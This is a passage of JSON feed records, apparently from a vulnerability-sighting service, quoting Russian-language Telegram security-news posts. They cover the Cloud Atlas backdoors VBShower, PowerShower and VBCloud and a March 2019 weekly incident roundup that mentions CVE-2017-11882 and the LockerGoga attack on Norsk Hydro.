\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 %APPDATA%\\Roaming\\Microsoft\\Windows\\, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0431\u044d\u043a\u0434\u043e\u0440 VBShower.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 VBShower \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u044c\u0448\u0435\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a VBS \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0430\u043f\u043a\u0430\u0445, \u0438\u043c\u0435\u043d\u0430\u0445 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 PowerShower \u0438 VBCloud.\n\nPowerShower \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u0435\u043d VBShower \u043f\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 PowerShell \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 C2. \u041e\u043d \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u043d\u0430\u0449\u0435\u043d \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 ZIP.\n\nKaspersky \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0446\u0435\u043b\u044b\u0445 \u0441\u0435\u043c\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a PowerShell. \u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f \u0438 \u0438\u0445 \u0447\u043b\u0435\u043d\u043e\u0432 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0441\u043b\u0443\u0436\u0431 Active Directory (ADSI), \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 PowerShell \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 Kerberoasting (\u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 Active Directory), \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0433\u0440\u0443\u043f\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0444\u0430\u0439\u043b\u0430\u0445 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043f\u043a\u0438 ProgramData \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435.\n\nVBCloud \u0442\u0430\u043a\u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043a\u0430\u043a VBShower, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0441\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. \n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0434\u0438\u0441\u043a\u0430\u0445 (\u0431\u0443\u043a\u0432\u0430 \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u0434\u0438\u0441\u043a\u0430, \u0442\u0438\u043f \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f, \u0440\u0430\u0437\u043c\u0435\u0440 \u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e), \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0444\u0430\u0439\u043b\u0430\u0445 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 DOC, DOCX, XLS, XLSX, PDF, TXT, RTF \u0438 RAR, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0430\u0439\u043b\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 Telegram. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://securelist.com/cloud-atlas-attacks-with-new-backdoor-vbcloud/115103/ \n\n#\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435\u041f\u041e #malware", "creation_timestamp": "2026-07-26T02:02:00.246603Z"}, {"uuid": "03e199bc-12fc-4d08-aa8c-54c8ef584ed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/timcore_hacking/333", "content": "\u041e\u0431\u0437\u043e\u0440 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 18 \u043f\u043e 24 \u043c\u0430\u0440\u0442\u0430 2019 \u0433\u043e\u0434\u0430\n\n\u041a\u043e\u0440\u043e\u0442\u043a\u043e \u043e \u0433\u043b\u0430\u0432\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438.\n\n\u041c\u0438\u043d\u0443\u0432\u0448\u0430\u044f \u043d\u0435\u0434\u0435\u043b\u044f \u043e\u0437\u043d\u0430\u043c\u0435\u043d\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u044b\u043c \u0441\u043a\u0430\u043d\u0434\u0430\u043b\u043e\u043c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c \u0441 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Facebook. \u041a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043e\u0434\u043d\u043e\u0438\u043c\u0435\u043d\u043d\u043e\u0439 \u0441\u043e\u0446\u0441\u0435\u0442\u0438 \u0445\u0440\u0430\u043d\u0438\u043b \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u043e\u0442\u0435\u043d \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0432 \u043d\u0435\u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0442\u044b\u0441\u044f\u0447\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 Facebook. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435\u044f\u0441\u043d\u043e, \u043a\u0430\u043a \u0434\u043e\u043b\u0433\u043e \u0434\u0430\u043d\u043d\u044b\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435, \u043d\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u0434\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f 2012 \u0433\u043e\u0434\u043e\u043c. \u041a\u0430\u043a \u0437\u0430\u0432\u0435\u0440\u0438\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0441\u0435\u0439\u0447\u0430\u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0436\u0435 \u0440\u0435\u0448\u0435\u043d\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c WordPress \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0443 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0430\u0439\u0442\u043e\u0432, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u043e\u0439 CMS. \u041a \u043f\u0440\u0438\u043c\u0435\u0440\u0443, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0430\u0445 Easy WP SMTP \u0438 Social Warfare. \u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u0432\u0435 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043d\u0430 \u0441\u0430\u0439\u0442\u0430\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0441\u043b\u0443\u0436\u0430\u0449\u0438\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432, \u0438 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0441\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u044e\u0442 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Carbanak (\u043e\u043d\u0430 \u0436\u0435 Fin7) \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0432 \u0441\u0432\u043e\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u043d\u043e\u0432\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u041d\u043e\u0432\u044b\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430\u043c\u0438 \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u043b\u0430\u0441\u044c \u0438 APT-\u0433\u0440\u0443\u043f\u043f\u0430 OceanLotus, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a APT32, SeaLotus, APT-C-00 \u0438 Cobalt Kitty. \u0422\u0435\u043f\u0435\u0440\u044c \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Microsoft Office (CVE-2017-11882), \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0435\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0438 \u043f\u0440\u0438\u0441\u043f\u043e\u0441\u043e\u0431\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0434 \u0435\u0435 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438.\n\n\u0421\u0432\u044b\u0448\u0435 100 \u0442\u044b\u0441. \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u043d\u0430 \u043f\u043e\u0440\u0442\u0430\u043b\u0435 GitHub \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 API \u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0439, \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c \u0432 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0438\u0437 \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0448\u0442\u0430\u0442\u0430 \u0421\u0435\u0432\u0435\u0440\u043d\u0430\u044f \u041a\u0430\u0440\u043e\u043b\u0438\u043d\u0430. \u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 576 \u0442\u044b\u0441. \u0442\u043e\u043a\u0435\u043d\u043e\u0432 API \u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0439, \u043f\u0440\u0438\u0447\u0435\u043c \u0431\u043e\u043b\u0435\u0435 200 \u0442\u044b\u0441. \u0438\u0437 \u043d\u0438\u0445 \u0431\u044b\u043b\u0438 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 7 \u0442\u044b\u0441. RSA-\u043a\u043b\u044e\u0447\u0435\u0439 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u0445 OpenVPN.\n\n\u0421\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u044b \u043c\u043e\u0434\u0435\u043b\u0438 Nokia 7 Plus \u0443\u043b\u0438\u0447\u0438\u043b\u0438 \u0432 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u041a\u0438\u0442\u0430\u0439. \u041a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e (\u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e \u0433\u0435\u043e\u043f\u043e\u0437\u0438\u0446\u0438\u0438, \u043d\u043e\u043c\u0435\u0440 SIM-\u043a\u0430\u0440\u0442\u044b \u0438 \u0441\u0435\u0440\u0438\u0439\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440) \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 China Telecom. \u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 HMD Global, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0435\u0439\u0447\u0430\u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b \u043f\u043e\u0434 \u0431\u0440\u0435\u043d\u0434\u043e\u043c Nokia, \u043f\u043e\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430.\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0438\u0445 \u043c\u0438\u0440\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439 \u0430\u043b\u044e\u043c\u0438\u043d\u0438\u044f Norsk Hydro \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0441\u044f \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0435, \u043f\u043e\u0432\u043b\u0435\u043a\u0448\u0435\u0439 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u0441\u0431\u043e\u0439 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432. \u0427\u0430\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u0431\u044b\u043b\u0438 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u044b \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0440\u0435\u0436\u0438\u043c, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u2013 \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b. \u041f\u043e \u0438\u043c\u0435\u044e\u0449\u0438\u043c\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u043c, \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 \u041f\u041e LockerGoga. \u0410\u0442\u0430\u043a\u0430 \u043d\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 